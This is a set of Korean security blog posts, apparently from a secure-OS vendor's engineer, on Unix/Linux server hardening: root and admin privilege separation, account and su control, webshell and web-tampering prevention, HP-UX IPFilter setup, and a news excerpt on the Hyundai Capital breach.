5. 해커는 끈기있게 공격스크립트인 B가 실행되기를 기다리고 B가 root 권한으로 실행되는 순간, root 권한을 얻어 의도한 공격을 할 수 있다. (이 공격은 root 권한을 얻는 것일 수도 있으며 어떤 것인지는 공격자의 의도에 달려있다.)

이런 형태의 공격은 사실 서버에 어떠한 계정으로라도 접속할 권한만 있다면 손쉽게 가능한 공격기법이다. 하지만 그 위험성을 인지하고 있는 운영자는 그리 많지 않은 것이 현실이다. 그리고 버퍼오버플로와 같이 어려운 기술이 필요하지 않기 때문에 더 큰 위협이 된다. 운영체제에 대한 초보적인 지식만 있다면 얼마든지 실행가능한 공격이기 때문이다.

그만큼 Unix와 Linux는 내부자의 공격에 너무도 취약한 운영체제다.


** root 권한의 분리 정책

root 계정은 모든 것을 할 수 있는 수퍼유저다. 이 root 권한을 여러 계정 혹은 자연인 기반의 다른 사용자에게 나누어주는 것을 root 권한의 분리라고 한다. 이 root 권한의 분리는 여러가지 기법에 의해 가능하다.

1. 어느 IP/MAC주소에서 root로 로그인 했는가에 따라 서로 다른 파일 접근 권한을 부여
2. 개인 계정을 만들고 어느 개인계정에서 root로 로그인했는가에 따라 서로 다른 파일접근 권한 부여
3. 자연인기반(PKI인증서기반) 인증을 수행하여 어느 자연인이 root로 로그인 했는가에 따라 서로 다른 파일접근 권한 부여

이러한 기술을 이용하면 root 계정 뿐만 아니라 oracle, weblogic 등 중요한 어플리케이션 관리자 계정에 대해서도 권한을 세분화하여 파일 접근 권한을 부여할 수 있다.

가장 많이 사용되고 안전한  root 권한 분리 기법은 앞의 세가지 중 2번이다. 1번의 경우 IP 및 MAC의 변조에 의해 실제 로그인한 자연인을 식별할 수 없고 변조되더라도 책임을 물을 수가 없기 때문이다. 또한 3번의 경우 인증서 만료 및 인증서 휴대 문제가 있기 때문에 권장되지 않는다.

root 권한이 필요한 운영체제의 주요 설정 파일 및 시스템 변경을 일으킬 수 있는 주요 명령어에 대해 직접 root로 로그인한 계정에서는 접근(읽기, 실행, 수정, 삭제 등등)하지 못하도록 하고 특정 관리자의 개인계정으로 로그인하여 root 계정으로 전환(su - root 수행)한 경우에만 실행이 가능하도록 정책을 수립하고 적용한다.


** 어플리케이션 관리자 권한 분리 정책

root 계정 뿐만 아니라 오라클, 웹로직, 제우스, 티맥스 등 주요 어플리케이션의 관리자 계정도 권한을 분리할 필요가 있다. weblogic 계정으로 실행되는 WAS 서버(java로 실행되는)의 자체 취약점 및 JSP 등의 취약성으로 인해 WAS가 뚫리게 되면 해커는 weblogic 계정의 권한을 획득하게 된다.
만약 Webshell 등을 업로드 하고 실행한다면 해커는 서버에 telnet 접속을 한것 과 같이 weblogic 권한으로 실행 및 접근 가능한 모든 파일에 대한 접근 권한을 갖게 되는 것이다. 이때 주요 명령어와 같이 시스템 해킹에 사용될 수 있는 파일이나 weblogic 소유자로 되어 있는 jsp 파일 및 대부분의 class 파일에 접근하여 홈페이지 위변조 및 java 스크립트, iframe 삽입 등을 시도할 수 있으므로 이에 대한 통제가 필요하다.

그래서 weblogic, jeus, tmax, oracle 등의 계정으로 직접 로그인한 경우 root의 경우처럼 권한을 대폭 축소할 필요가 있는 것이다. 당연히 해커가 알지 못하는 개인계정으로 접속하여 weblogic, jeus, tmax, oracle 계정으로 이동(su - oracle 등)한 경우에만 접근이 가능하도록 어플리케이션 관리자 계정의 권한을 분리하도록 정책을 수립하여야 한다.

** root 및 어플리케이션 관리자 계정의 권한 통제는 서버 보안, 그중에서도 내부통제의 핵심

농협의 초~대형 보안 사고의 경우 내부 사용자에 의한 보안 사고일 가능성이 크다. 실수에 의해 운영체제의 주요 파일이 삭제되거나 GS칼텍스의 개인정보 유출과 같은 대형 데이터 유출사고의 경우가 바로 그런 경우다.
그리고 그때 보안사고가 자행되는 계정은 root 혹은 oracle, weblogic, tmax 등 서버의 주요 관리자 계정이 될 가능성이 크다. 따라서 내부통제를 강화하기 위해서는 root 및 관리자 계정의 권한을 여러 사용자에게 분리하여 부여하여야 한다. 




최근 발생한 현대캐피탈과 농협 그리고 이번 KBS, MBC, YTN, 신한은행, 농협의 치명적인 보안사고로 인해 금융산업분야 뿐만 아니라  비지니스를 위해 혹은 전산시스템이 비즈니스 그 자체인 많은 기업과 공공기관에 초비상이 걸렸다. 덕분에 나도 너무 많이 바빠진 사람중의 하나가 되었다.

 

하지만 Unix/Linux 운영체제는 자체적인 보안기능이 매우 부족하다. Unix/Linux가 애초부터 보안을 염두에 두고 개발한 운영체제가 아니기 때문에 운영체제 자체적으로 엄청나게 많은 관리적/기술적 취약성을 갖고 있다. 기술적 취약성 중 일부는 운영체제의 설정을 변경하여 보완할 수도 있지만 근본적으로 한계를 갖고 있으며 관리적 취약성은 운영체제 차원에서는 대응할 수 있는 방안이 없다.

 

그래서 공공기관 및 금융부문에서는 RedCastle과 같은 SecureOS S/W를 서버에 설치하여 Unix/Linux 운영체제의 기술적/관리적 취약성을 보완하고 있다. 하지만 보안강화를 위해 RedCastle에 보안정책을 넣어달라는 요청은 많은데 비해 어떤정책을 수립 할 것인가에 대해서는 아무런 생각이 없는 경우가 대부분이다.

 

그래서 Unix/Linux 서버의 운영자 및 보안부서의 IT 담당자분들께 도움이 될만한 서버보안 정책 가이드라인을 제시해본다.


 

I.              계정 통제 정책

 

흔히 계정통제라고 하면 여러 서버에 동시에 계정을 생성하고 패스워드를 일괄 변경하는 것을 생각하기 쉽다. 하지만 서버보안에서 계정통제라 함은 다음을 의미한다.

 

l  계정은 몇 개를 어떤기준에 의해 생성할 것인가

l  각 계정별 로그인 통제는(계정/서비스/IP/시간의 조합에 의한 로그인 통제) 어떻게 할 것인가

l  서버에 로그인한 사용자가 다른 계정으로의 Switch User를 하는 행위에 대해 어떻게 통제할 것인가

l  계정을 이용한 행위 감사(Audit)는 어떻게 할 것인가

 

흔히 계정관리와 혼동하는 패스워드의 일괄 변경은 기본적인 보안정책 즉 서버마다 패스워드를 다르게 설정하여야 한다는 아주 기본적인 보안정책에 위배된다. 이는 하나의 패스워드가 유출되면 전체 서버의 패스워드가 유출되는 끔찍한 결과를 차단하기 위해 권고되는 패스워드 관리 정책이다.

 

금번 농협의 보안사고에서도 단 몇 개의 root 패스워드가 내부자에 유출되었을 것이지만 피해는 275대의 서버에서 발생한 것처럼 어쩌다~ 한번 발생한 사고가 너무도 큰 피해를 유발하게 될 수 있다.

 

1)    계정은 몇 개를 어떤기준에 의해 생성할 것인가
 

서버에 TELNET, FTP, SSH 로그인을 수행하는 개인들은 서버에 혼자만 사용할 개인의 계정을 만들고 서버에 로그온할 때는 자신의 계정을 이용해 로그온 할 것을 권고한다.

 

이것을 굉장히 어려운 일이라거나 서버의 장애를 유발할 것이라는 막연한 두려움을 가진 관리자들이 너무도 많다. 서버의 운영체제는 다수의 사람들이 동시에 접속할 것을 전제로 만들어진 Multi-User, Multi-Tasking 운영체제다. 계정을 100~200 개 생성해도 계정이 많다는 이유로 서버가 느려지거나 장애가 유발되지는 않는다. 그 사람들이 동시에 접속하여 부하가 큰 명령을 동시에 실행하지만 않는다면 말이다


몇개의 계정을 100명이 사용하는 것이나 100개의 계정을 100명이 사용하는 것은 동일한 부하를 유발한다고 생각하면 맞다.

 

시스템관리자, DB관리자, 어플리케이션 관리자 등 수많은 사람들이 Root, oracle, weblogic, jeus, tuxedo 등 공용계정을 공유하여 사용하는 것은 장애 혹은 보안사고 발생 시 원인분석을 어렵거나 불가능하게 만드는 주요 원인이다. 때문에 개인계정을 생성하여 스스로의 관리 책임하에 서버에 로그온 하는 것이 올바른 계정 생성 정책이다.

 

자신만의 계정으로 로그인 한 뒤 root, oracle 등과 같은 수퍼유저 및 애플리케이션 관리자 계정으로 SU하여 사용하도록 하여야 한다.

 

 

2)    계정의 로그인 통제는 어떻게 할 것인가

 

Root, oracle, tmax, weblogic, tuxedo Super-User의 계정과 애플리케이션 관리자 계정등 공용계정으로의 직접 로그인은 차단하여야 한다.

 

Super-user 계정인 root로 여러 사람이 직접 telnet 로그인하는 것을 허용하게 되면 문제 발생 시 도대체 누가 로그인하여 작업했는지에 대한 추적이 불가능해진다. 때문에 서버에 로그온 하여 작업을 수행해야 하는 개인들은 모두 개인계정을 만들어 사용하고 root 이하 공용계정으로는 직접 로그온 하지 못하도록 통제하여야 한다.

 

추가적으로 각 개인별로 사용하는 IP에 대해서만 로그온 할 수 있도록 IP 통제까지 수행한다면 보안성은 대폭 개선될 수 있다.

 

 

3)    서버에 로그인한 사용자가 다른 계정으로의 Switch User를 하는 행위에 대해 어떻게 통제할 것인가

 

계정의 이동(Switch User)통제는 시스템운영에 상당히 민감한 영향을 끼칠 수 있다. 그리고 체계가 잡히지 않은 중구난방~식의 SU 통제는 시간이 지날수록 문제를 유발시킬 가능성이 커지기 때문에 SU를 통제할 때에는 시스템을 운영하는 전산부서 전체에 적용할 수 있도록 정책을 확실하게 수립하는 것이 좋다.

 

계정이동통제(SU) 정책 수립 시 기본 지침은 다음과 같다.

 

-       Super User root 계정으로의 SU를 허용할 개인계정을 그룹핑한다.

-       Oracle, Weblogic 등 애플리케이션 별로 SU를 허용할 계정을 그룹핑한다.

 

위의 두 지침에 의해 계정들이 그룹핑 되면 다음의 기본 SU통제 지침을 적용한다.

 

-       root oracle, weblogic 등 애플리케이션 관리자 계정간의 SU는 차단한다.

-       앞에서 그룹핑된 각 그룹에 속한 내부 사용자간의 SU는 허용한다.

-       서로 다른 그룹간의 SU는 차단한다.

  

 

4)    계정을 이용한 행위 감사(Audit)는 어떻게 할 것인가

 

계정에 대한 행위감사는 사용자가 서버에 telnet, ssh, rlogin 등의 방법으로 서버에 로그온 한 시점부터 로그아웃 시점까지의 모든 명령어 수행에 대해 기록을 남겨야 한다. 운영체제에서 제공되는 Shell History는 모든 명령어 입력에 대해 감사기록을 남겨주지만 세션에 대한 구분 및 하나의 계정으로 여러명이 접속하였을 때 각각의 원래 사용자를 식별하지 못하는 문제가 있기 때문에 큰 의미는 없다.

 

RedCastle과 같이 모든 세션을 식별하여 SU하기 전과 SU한 이후까지도 연결고리가 끊기지 않고 추적이 가능하도록 해야 하며 커널레벨과 TTY레벨의 추적 모두가 가능하도록 하면 최고의 사용자추적(행위감사)이 가능하다.


이상 네가지 기본적인 서버의 계정통제 정책을 적용하면 체계적인 계정관리가 가능하고 Unix/Linux 운영체제에서 제공되는 기본기능인 su 를 통해 타 계정의 권한을 탈취하는 악의적인 행동을 방지할 수 있다.

 

물론 이 계정통제 만으로 Unix/Linux 서버를 운영하는 전산시스템의 내부보안을 강화하는 것에는 한계가 있다. 추가적으로 파일접근통제 정책을 적용해야 제대로 된 서버보안 정책을 적용했다고 할 수 있다.

 

기회가 되면 파일접근통제에 대한 정책가이드도 올려보도록 하겠다.

 

현대캐피탈과 농협의 보안사고 여파로 인해 요즘살이 다 빠질 지경이다.. ^^




홈페이지를 운영하는 많은 쇼핑몰들과 인터넷신문사 홈페이지는 수시로 홈페이지 위변조 및 자바스크립트 위변조 공격에 시달린다. 최근 방문했던 한 인터넷 뉴스사이트도 그런 공격이 너무도 많다는 고충을 토로하기도 했다. 때문에 여러 솔루션들을 사용하지만 보안정책 수립의 어려움, 실시간 모니터링의 어려움 등으로 인해 제대로 대응하지 못하는 경우가 많다고 한다.

사고가 발생하면 다음과 같은 사항들을 해킹이 발생한 서버내에서 신속하게 파악하고 취약성을 제거하고 모니터링을 해야지만 솔루션 부재로 인해 대부분 정확한 경로를 파악하지 못하는 경우가 많다. 

- 침입 경로

- 칩입 후 실행한 명령어

- 수정한 파일

- 작업 과정

대부분 서버내에서는 해킹에 성공하여 수정한 파일"만 원상복구하고 네트워크에서 해당 출발지 IP를 차단하는 정도의 응급조치만을 하게된다. 해커는 공격지IP를 변경하여 재공격을 수행할 수 있고 사고는 다시 발생한다.

2013년 1월 5일... 국내의 대형 인터넷서점 홈페이지의 Java Script 파일이 변조되어 악성코드가 해당 인터넷 서점에 접속한 웹브라우저를 통해 접속자의 PC에 감염되는 심각한 보안사고가 발생했다. 

웹페이지 악성코드

이 사고는 해킹당한 홈페이지의 소스파일 위변조를 통해 웹브라우저를 통해 접속한 사용자의 PC가 악성코드에 감영되는 전형적인 사고사례다. 워낙 유명한 대형 인터넷 서점이고 비교적 모니터링 체계가 잘되어 있어 장시간 유표되는 사태는 막을 수 있었지만 사용자의 접속이 많지 않은 홈페이지의 경우 장시간에 걸쳐 많은 PC에 악성코드를 감염시키게 된다.



이러한 사고를 근본적으로 방지하기 위해서는 서버내의 주요 자산인 홈페이지 소스파일에 대한 철저한 보안이 필요하다. 

1. 웹서버의 취약성에 의해 서버내의 계정 권한이 탈취되는 것을 차단해야하고

2. 웹서버 혹은 WAS 서비스에 웹쉘이 업로드되어 운영체제의 명령어를 실행하지 못하도록 해야하며

3. 만에 하나라도 서버의 웹서버 혹은 WAS서비스의 계정 권한이 탈취되더라도 운영체제의 임시디렉토리에 스크립트 파일을 생성하고 실행하는 것을 차단해야하며

4. 홈페이지 소스가 웹서버 혹은 WAS서버의 구동 계정으로 수정되지 않도록 통제하여야 한다.

이 몇가지 보안정책만 준수할 수 있다면 홈페이지 위변조에 의한 보안사고는 대부분 예방할 수 있을 것이다.


관련포스트

웹쉘의 위험성과 서버보안SW를 이용한 웹쉘 실행 차단

서버보안SW를 이용한 웹서버보안 강화 방안

웹해킹방어사례 - 남다른 끈기를 보여준 해커



  • kmk 2013.01.10 21:57

    사기조직동두천경찰 폭파 Naver ckmk1

  • 1 2013.03.27 20:11

    홈페이지개발자와 작업의뢰인의 거래사이트 "오투잡"

    오투잡은 현재 하루 접속자 3000명이 접속하는 재능거래 사이트 입니다.
    오픈한지 얼마되지 않았지만 부업분야 전체 점유율 2위, 국가지원을 받고있습니다.

    오투잡에서 판매자 대모집 중입니다.
    카테고리 활성화가 시작 되니, 많은 판매 등록 바랍니다.
    오투잡은 네이버에서 "오투잡" 으로 검색 하세요.


보안 강화의 어려움

보안 업계에서 일하면서 느끼는 것 중 하나가 유독 보안업계에는 서버나 네트워크 혹은 업무 시스템의 개발과 구축 경험을 가지지 않은 "보안 전문가"가 많다는 것이다. 그러다 보니 "보안"을 문서나 말로만 하는 사람들이 많고 실제 서비스 운영이나 업무 영역의 소프트웨어를 개발하는 실무자들과 트러블이 많아진다. 우리나라 IT 분야의 특성 상 보안 업무는 개발이나 운영 그리고 IT 시스템을 사용하는 비지니스 업무 담당자들로부터 "방해꾼"의 오명을 뒤집어 쓰는 경우가 많다. 당연히 보안 실무자들의 업무 수행은 어려워질 수 밖에 없다.

가뜩이나 "보안을 강화하면 현업 업무가 불편하고 어려워진다" 는 인식이 강한데다 현업 업무 담당자들이나 업무 시스템 개발자, 운영자들이 볼 때는 현업 업무도 모르면서 입으로만 "보안강화"를 외친다는 인식을 갖게 될 수 밖에 없다.

이러한 인식을 불식시키기 위해서는 보안 정책을 강화하고 실 업무에 적용할 때 현업 업무 담당자들의 애로와 고충을 귀기울여 듣고 어려움을 해소시켜주려는 노력을 해야하며 보안을 강화하는 것이 업무를 불편하게 하는 것이 아니라 업무 프로세스를 정립하는 과정의 일부분임을 이해시키는 설득의 과정이 필요하다. 또한 보안 컨설턴트들은 개인의 간판을 중요시 할 것이 아니라 서버나 네트워크 장비의 특성과 업무단의 어플리케이션 개발에 대한 경험은 물론 웹서버, 미들웨어, 클러스터, 데이터베이스, 백업S/W, 시스템 관리 S/W 등의 다양한 솔루션들에 대한 이해와 운영 경험을 갖는 것을 더 중요시해야 할 것이다.

APT 공격 방어를 위한 공인인증 서버 접근제어 기법

아래의 동영상에서는 APT 공격을 방어하기 위한 일환의 하나로 공인인증서를 소유하고 공인인증을 받아야만 서버에 Telnet, FTP를 통해 접속할 수 있도록 하는 서버 접근제어 기법을 보여준다.

최근 APT 공격의 과정 중 하나로 내부 사용자의 노트북이나 PC를 장악하고 서버에 침투하는 경우가 많다. 만약 USB등의 매체에 공인인증서를 갖고 있으며 서버에 접근할 때 해당 공인인증서를 통해 인증을 받아야만 서버에 Telnet, FTP 접속을 가능하게 한다면 상당부분 APT 공격을 통해 서버에 접근할 수 있는 권한을 얻는 것을 차단할 수 있다.

또한 공인인증을 받기 위해 내부에 인증서버를 둔다면 인증서버의 감사로그를 통해 자연인 누가 어느 서버에 접속을 시도하고 성공했는지를 검증할 수 있을 뿐만 아니라 서버에 접근한 뒤 파일 접근 감사로그에서도 서버 계정 뿐만아니라 해당 계정을 사용한 자연인 누가~ 어느 파일에 접근 위반을 발생하였는지도 실시간으로 확인할 수 있다.




1990년대 들어서면서 집집마다 퍼스널컴퓨터(PC)가 보급되고 서로 연결되는 모뎀(Modem)이 보급되면서 네트워크는 활성화 되기 시작했다. 하이텔...천리안...나우누리 등 빨라야 56Kbps Modem으로 연결되었던 답답하고 느려터진 그 네트워크는 1990년대 후반 하나로 통신의 ADSL이 아파트마다 보급되기 시작하면서 인터넷이라는 범 세계적인 거대한 네트워크 인프라에 연결되면서 사람들의 생활에 일대 변혁을 불러 일으키기 시작했다.

손으로 써서 보내던 편지는 이메일에게 자리를 빼앗겼고 TV와 신문이라는 거대 기업에 의해 가공되고 왜곡되어 전달되던 뉴스는 인터넷 1인 미디어인 블로그와 작은 중소 인터넷 언론매체에게 위협받는 혁명적인 사건이 일어났다.

하지만 밝은 곳이 있으면 어두운 곳도 있게 마련이듯 수많은 PC와 서버들이 서로 연결이 가능한 거대한 네트워크(인터넷)로 연결되면서 서버해킹, PC 해킹, 개인정보 유출, 기업의 다양한 기밀자료의 유출 등 수많은 다양한 형태의 해킹 사고가 발생하고 있다.  이러한 보안사고(해킹 및 정보 유출)는 지금도 어디에선가 해커에 의해 자행되고 있고 또한 그 해킹을 막기 위해 많은 전산인들이 분주하게 움직이고 있다.

그렇다면 과연 해킹을 막기 위해 투자되는 엄청난 비용과 인력은 효율적으로 이용되고 있는지를 한번 살펴봐야할 필요가 있다.

네트워크 보안의 함정에 빠지다.

많은 보안 전문가들은 네트워크 보안의 중요성을 강조하고 해킹의 방어는 네트워크에 흘러다니는 패킷(인터넷 통신의 데이터 전송 단위)을 분해하고 그 안의 내용을 검사하거나 암호화 하는 것이 최선인 것 처럼 이야기 한다. 물론 틀린 이야기는 아니다. 맞는 말이다. 하지만 거기에는 많은 사람들이 또한 알고 있지만 이야기하지 못하는 함정이 있다.

기업에서 관리하는 대부분의 데이터 유출 보안 사고는 네트워크에 흘러다니는 데이터를 가로채는 방식의 공격으로 일어나지 않는 다는 것이다. 이미 많은 부분 통신 데이터의 암호화가 이루어지거나 외부로부터 접근이 어렵도록 네트워크의 분리 등 네트워크 관점에서의 보안은 상당부분 이루어져 있고 방법론 또한 다양하게 준비되어 있어 보안 인프라에 투자할 자금만 있다면 얼마든지 네트워크의 보안을 강화할 수 있다.

그렇다면 최근 발생하는 수많은 해킹과 그로 인한 중요 데이터의 유출은 어떻게 발생하고 또 해킹을 방어하기 위한 보안의 주요 대상은 무엇이 되어야 하는가?

그것은 바로 서버다. 인터넷과 기업에는 수 많은 서버들이 있다. 네트워크는 이 서버들끼리...혹은 서버와 PC를 연결해주는 통로에 불과하다.그리고 이미 그 통로에는 해커의 침입을 막기 위해 방화벽, IPS, PKI, NAC 등 다양한 함정과 방어막을 설치해 놓았다. 하지만 그럼에도 불구하고 해킹 및 보안사고는 끊임없이 발생한다. 그 이유는 바로 네트워크 기반의 보안 솔루션으로 막을 수 없는 위협과 취약성이 너무도 많기 때문이다. 최근 발생한 GS칼텍스 개인정보 DB 유출사고, 신세계의 개인정보 유출, 옥션의 해킹사고 등은 그 대표적인 사례이다.

이제 보안의 대상은 중요 데이터가 저장되어 있는 서버 그 자체로 이동되어야 한다. 제 아무리 서버의 앞에 패킷을 분해하고 검사하는 종류의 솔루션을 설치해도 그것을 우회하거나 내부 네트워크에서 접근해오는 해킹 시도를 차단하는 것은 불가능하고 지속적으로 발견되는 네트워크 서비스 서버의 취약성에 대한 차단은 네트워크 기반의 보안 솔루션으로는 통제가 불가능하다.

많은 보안컨설팅 전문가들과 보안 전문가들은 어렴풋이나마 이러한 사실을 알고 있지만 서버 운영체제와 서버 내의 복잡 다양한 애플리케이션에 대한 지식 부족과 경험 부족 그리고 서버보안 강화에 대한 방법론의 부재와 솔루션에 대한 지식 부족 등 여러 이유로 인해 적절하게 대응하고 있지 못한 것이 현실이다.

서버를 건드리지 않고도 가능한 네트워크 보안에 너무도 치중한 나머지 정작 중요한 서버 자체의 보안에 너무도 무관심한 것이 현실이다.

서버보안 강화 방법론

용어는 참 거창하다. 똑똑하신 양반들께서 잘 쓰는 용어... 방법론... 영어로는 methodology... 하지만 방법론이라는 이 단어에 집착한 나머지 시작조차도 하지 못하는 경우가 많다. 서버보안이라고 하면 대부분 서버 운영체제의 설정을 검사하고 파일의 퍼미션을 체크하여 이렇게~저렇게~ 수정하라고 권고하는 수준을 생각한다. 유명 보안컨설팅 업체에 큰돈을 주고 보안 컨설팅을 받아도 서버의 보안 점검과 조치는 그 수준에 그치는 경우가 태반이다.

서버 운영체제와 시스템소프트웨어 그리고 애플리케이션과 데이터파일에 대한 보안을 강화하기 위해 아직까지 정립된 방법론은 없다. (사실....본적이 없다.)
10여년 가까운 보안OS의 기술지원과 프로젝트를 수행한 본인도 뚜렷한 방법론을 지금까지는 정립하지 못했다. 그도 그럴것이 보안OS의 안정성과 정책수립을 위한 기능이 어느정도 안정적인 궤도에 오른것이 몇년되지 않았다. 때문에 설치 및 운영 중 발생하는 장애에 대처하기에도 벅찼던 것이 현실이다.

하지만 그 와중에도 서버 내의 보안을 강화하기 위한 접근제어 정책 및 서버보안정책 수립을 위한 나름대로의 절차와 기준 그리고 노우하우는 갖고 있다. 그중에서 가장 힘들고 어려운 부분은 바로 서버보안에 대한 고객의 이해와 참여를 유도하는 것이다.

적게는 서너대, 많게는 수백대의 서버를 운영하는 고객사에서 각 서버별로 최적화된 보안정책을 수립하는 것은 현실적으로 불가능하다. 때로는 강력한 정책을 요구하기도 하고 때로는 수십, 수백대에 공통으로 적용할 수 있는 표준 정책을 요구하기도 한다. 그때마다 적절한 수준의 보안정책을 수립하고 적용하는 것은 IT경력 10년이 넘는 본인에게도 신경쓰이는 일이다.

서버의 보안정책 수립에서 가장 중요한 것이 고객의 이해와 참여라고 했다. 

최근 100여대의 서버에 보안정책을 수립하는 프로젝트를 진행한 적이 있다. 우리팀의 엔지니어 혼자 진행하던 중 도움이 필요한 상황이 발생하여 정책 수립과정을 지원했는데 참으로 난감한 것이 고객의 보안담당자와 그팀의 팀장님은 그 업무를 무척이나 간단하게 생각하고 있었다. 결국 한참의 난상토론과 업무협의 끝에 프로젝트 비용의 결제를 늦게 해주어도 좋으니 시간을 충분하게 갖고 진행하자는 쪽으로 유도했다.

그리고 20여명의 시스템관리자와 개발자 대표들이 모두 참여하는 관련 업무협의를 진행하여 이해와 참여를 요청하였고 보안정책 수립과정에 참여하여 보안을 위해 개발자와 시스템관리자가 양보해야할 부분은 양보하고 편의상 허용해야할 것은 철저하게 감사로그를 기록하여 사후 분석이 가능하도록 유도하였다.

이러한 과정에서 개발자와 시스템관리자의 잘못된 업무관행을 찾아내고 가능하다면 올바른 시스템 운영절차와 규칙을 수립하여 권고하는 것도 서버보안엔지니어와 컨설턴트의 임무라고 할 수 있을 것이다.

애플리케이션 보안정책의 수립

수립된 표준 보안정책은 전 서버에 일괄적으로 적용되고 서버별로 추가적인 보안정책은 해당 서버의 시스템관리자와 개발자와의 심층적인 분석과 협의를 통해 적용한다.

현재까지는 대부분 인터넷에 공개되어 있는 서버의 해킹차단을 위해 웹 애플리케이션에 대한 보안을 강화하기 위해 적용되는 경우가 많다. 예를 들면 웹소스의 위변조 차단과 웹쉘의 차단이 대표적인 경우다.
웹서버를 예로 들었지만 서버마다 실행되는 애플리케이션은 다른경우가 대부분이기 때문에 애플리케이션에 대한 보안강화는 서버 개별적으로 진행되어야 한다. 이 과정에서도 시스템관리자와 개발자의 이해와 참여는 필수적이다.

- 웹서버의 통제를 위해 적용된 응용프로그램 관련 접근통제 정책의 예 -

서버보안S/W(보안OS)의 활용도

많은공공기관과 금융기관에 서버보안S/W가 도입되어 있다. 하지만 그 활용도는 미미한 경우가 많다. 그 이유는 무엇일까? 많은 전문가들이 동의하듯 아직도 우리나라는 보안에 대한 인식이 부족하다. 사실 IT보안이 물리적보안 보다 더 중요함에도 불구하고 현실은 그 반대다. 건물경비와 출입통제 장치등에는 많은 비용을 지출하는 것을 아끼지 않지만 IT보안에 비용을 지출하는 것에는 무척이나 인색하다. 또한 인력의 투입도 부족하다. 시스템관리자와 개발자가 IT보안업무를 병행하면 되지 않느냐는 인식을 갖고 있다.
때문에 많은 IT보안솔루션을 도입해 놓고도 제대로 활용하지 못한다. 

특히 서버보안S/W의 경우에는 운영체제, 시스템소프트웨어, 응용프로그램에 대한 깊이 있는 이해가 필요한 경우가 많다. (대신 그 보안 효과는 탁월하다.) 제대로만 활용한다면 그 어떤 보안솔루션 보다 해킹차단에 효과적이다.



최신 Unix 운영체제들은 서버의 보안을 강화하기 위해 내부적으로 Firewall Module을 기본적으로 탑재하고 있다. Solaris, HP-UX와 같은 상용 Unix의 경우 오픈소스인 IP Filter를 자신들의 운영체제에 최적화하여 기본 운영체제 패키지 안에 포함시켜 설치되도록 하고 있다.

HP-UX에도 기본적으로 탑재되어 있는 IPF는 무척 강력한 패킷필터링 기능을 갖고 있으며 다양한 옵션에 의해 상용 네트워크 방화벽 못지않은 성능을 발휘한다.

IPF를 사용하기 위해서는 다음 두 개의 서비스모듈이 커널에 로드되어야 한다.

- ipf
- pfil

이 두개의 커널모듈이 커널에 적재(load)되어 있는지 여부는 kcmodule 명령으로 확인할 수 있다. (HPUX 11.23 이상)


이 두개의 커널모듈은 서버의 리부팅 없이 동적으로 커널에 적재(Load)되고 삭제(Unload)될 수 있는 DLKM (Dynamic Loadable Kernel Module) 형태로 만들어져 있으며 kcmodule 명령 혹은 sam 유틸리티에 의해 상태의 확인 및 부팅 시 자동로드 여부를 설정할 수 있다.


만약 앞의 kcmodule | grep -i pf 명령에 의해 두개의 모듈 즉 ipf와 pfil이 모두 "Loaded" 상태임에도 ipf의 패킷필터링 정책이 적용되지 않아 차단해야하는 포트에 원격에서 접속이 이루어진다면 ipf 모듈 두개가 커널에 로드되어 있지만 "패킷 필터링"을 수행하지 않고 패킷을 그냥 흘려보내고(bypass) 있는 것이다. 즉 차단 정책이 적용되어 있어도 차단하지 않는 것이다.

이런 현상, 즉 ipf가 구동중이지만 정책이 적용되지 않는 현상을 확인하기 위해서는 ipfstat 명령을 실행시켜봐서 패킷을 감지하고 있는지 보거나 ipfilter -q 명령을 통해 enable 여부를 확인하여야 한다.

- ipfstat 명령 수행결과 -

- ipfilter -q 명령 수행결과 -

만약 위의 두 명령수행 결과 패킷필터링을 수행하지 않고 있다면 다음의 명령을 통해서 Enable 시켜주면 된다.


이때 주의할 점은 네트워크 설정에 오류가 있을 경우 서버의 네트워크가 다운될 수 있다는 것과 패킷필터링을 수행하기 위해 이더넷을 플럼빙할 때 새로운 세션의 연결이 잠시 차단되고 기존의 세션도 잠시 멈출 수 있다는 것이다.

패킷필터링을 중지할 때는 옵션만 바꾸어 주면 된다. 옵션은 -d 다.!!

SecureOS인 RedCastle은 이 IPF의 활용도를 극대화할 수 있도록 해준다. RedCastle에서는 GUI에서 IPF 정책을 관리(적용/수정/삭제)할 수 있도록 해주고 IPF 로그도 GUI에서 모니터링하고 검색, 조회할 수 있는 기능을 제공한다.






또한 번의 보안사고가 전산업계를 뒤흔들고 있다. 하지만 이전의 보안사고들과는 달리 외부(인터넷을 통해)에서 침입하여 현대캐피탈 고객 42만명의 개인정보는 물론 일부 금융정보까지 빼내어간 완벽(?)한 해킹사고라는 점에서 충격의 여파는 상당히 크고 오래 지속될 것으로 보인다. 비록 1금융권이 아닌 대출전문 캐피탈 업체이긴 하지만 업계 1위의 업체인데다가 "현대그룹" 이라는 간판으로 인해 1금융권도 보안에 취약한 것이 아니냐는 우려마저 나오고 있다.

= 대캐피탈 해킹사건의 전말. (이데일리 기사 발췌)=

◇ 해킹 피해 `42만명+α`..신용정보도 새나가

현대캐피탈 고객정보보호를 담당하는 황유노 부사장은 10일 서울 여의도 본사에서 열린 기자회견에서 "해킹 당한 고객 정보가 더 있을 수 있다고 판단하고 있다"고 말했다.
42만명과 프라임론 피해고객이 중복되기 때문에 현재까지 피해고객 총수는 파악하기 어려운 상태다.

현재까지 유출된 고객정보는 기본 정보 이외에 금융 정보가 포함돼 금융사고 피해가 우려되는 상황. 이름, 주소, 전화번호, 이메일, 주민등록번호, 신용등급, 신용대출 `프라임론` 패스카드의 번호와 비밀번호 등이 해킹당했다.

황 부사장은 "프라임론 패스카드 정보는 현대캐피탈과 거래 외에 활용할 수 없다"며 "신용등급 자체도 금전적 손해를 끼칠 가능성이 낮다"고 설명했다.

현대캐피탈은 2차 피해를 막기 위해 고객에게 "전화로 개인정보, 홈페이지 ID, 패스워드 등을 요구할 때 각별히 주의하라"며 "11일부터 프라임론 패스카드를 재발급받고, 홈페이지 비밀번호도 바꿀 필요가 있다"고 당부했다.

또 자동응답시스템(ARS) 거래를 막고, 거래 계좌를 변경하는 고객에게 고객 휴대폰으로 다시 전화해 본인 확인 절차를 강화했다.


◇ 2개월간 해킹 당한지도 몰라..정태영 사장 "수치스러워"

현대캐피탈이 해킹 사실을 두달간 인지하지 못했다는 점에서 문제의 심각성이 크다는 지적이다. 현대캐피탈 고객정보가 해킹당한 것은 지난 2월부터 조금씩 이루어진 것으로 현대캐피탈은 지난 7일 오전 9시 해커의 협박 이메일이 있을 때까지 모르고 있었다. 현대캐피탈 보안시스템에 큰 구멍이 뚫렸던 셈이다.

